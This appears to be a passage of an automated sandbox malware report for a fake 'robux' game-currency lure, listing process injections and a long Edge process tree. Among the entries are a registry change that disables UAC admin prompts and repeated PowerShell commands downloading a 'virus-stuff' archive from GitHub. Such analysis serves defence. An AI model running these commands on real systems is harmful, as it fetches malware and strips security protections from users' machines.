PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 240 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 240 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 2960 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 2960 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 2960 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 2960 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 2960 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 2960 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 2960 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 2960 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 2960 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 2960 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 2960 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 2960 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 2960 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 2960 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 2960 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 2960 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 2960 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 2960 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 2960 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 2960 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

System policy modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\AppData\Local\Temp\54DC.tmp\gdifuncs.exe N/A

Processes

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://google

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffff1553cb8,0x7ffff1553cc8,0x7ffff1553cd8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2112 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2652 /prefetch:8

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3204 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3220 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4900 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3012 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5036 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5564 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5064 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3812 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5232 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5984 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5992 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5848 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3984 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4904 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4004 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4032 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4920 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4732 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6016 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4928 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6428 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6596 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6820 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=7256 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7400 /prefetch:8

C:\Users\Admin\Downloads\robux.exe

"C:\Users\Admin\Downloads\robux.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\CFED.tmp\CFEE.tmp\CFEF.bat C:\Users\Admin\Downloads\robux.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Invoke-WebRequest https://github.com/astrohnugget/virus-stuff/archive/refs/heads/main.zip -outfile robux2.zip"

C:\Windows\system32\timeout.exe

timeout /t 10 /nobreak

C:\Windows\system32\timeout.exe

timeout /t 20 /nobreak

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=6920 /prefetch:2

C:\Users\Admin\Downloads\robux.exe

"C:\Users\Admin\Downloads\robux.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\B6C3.tmp\B6C4.tmp\B6C5.bat C:\Users\Admin\Downloads\robux.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Invoke-WebRequest https://github.com/astrohnugget/virus-stuff/archive/refs/heads/main.zip -outfile robux2.zip"

C:\Windows\system32\timeout.exe

timeout /t 10 /nobreak

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7704 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7836 /prefetch:8

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\free bobux.bat" "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Invoke-WebRequest https://github.com/astrohnugget/virus-stuff/archive/refs/heads/main.zip -outfile robux2.zip"

C:\Windows\system32\timeout.exe

timeout /t 10 /nobreak

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3448 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7628 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3448 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3504 /prefetch:8

C:\Windows\system32\AUDIODG.EXE

C:\Windows\system32\AUDIODG.EXE 0x00000000000004CC 0x00000000000004E4

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6808 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4996 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6276 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5228 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6256 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6804 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7324 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7884 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6232 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7800 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8096 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8104 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7308 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8804 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

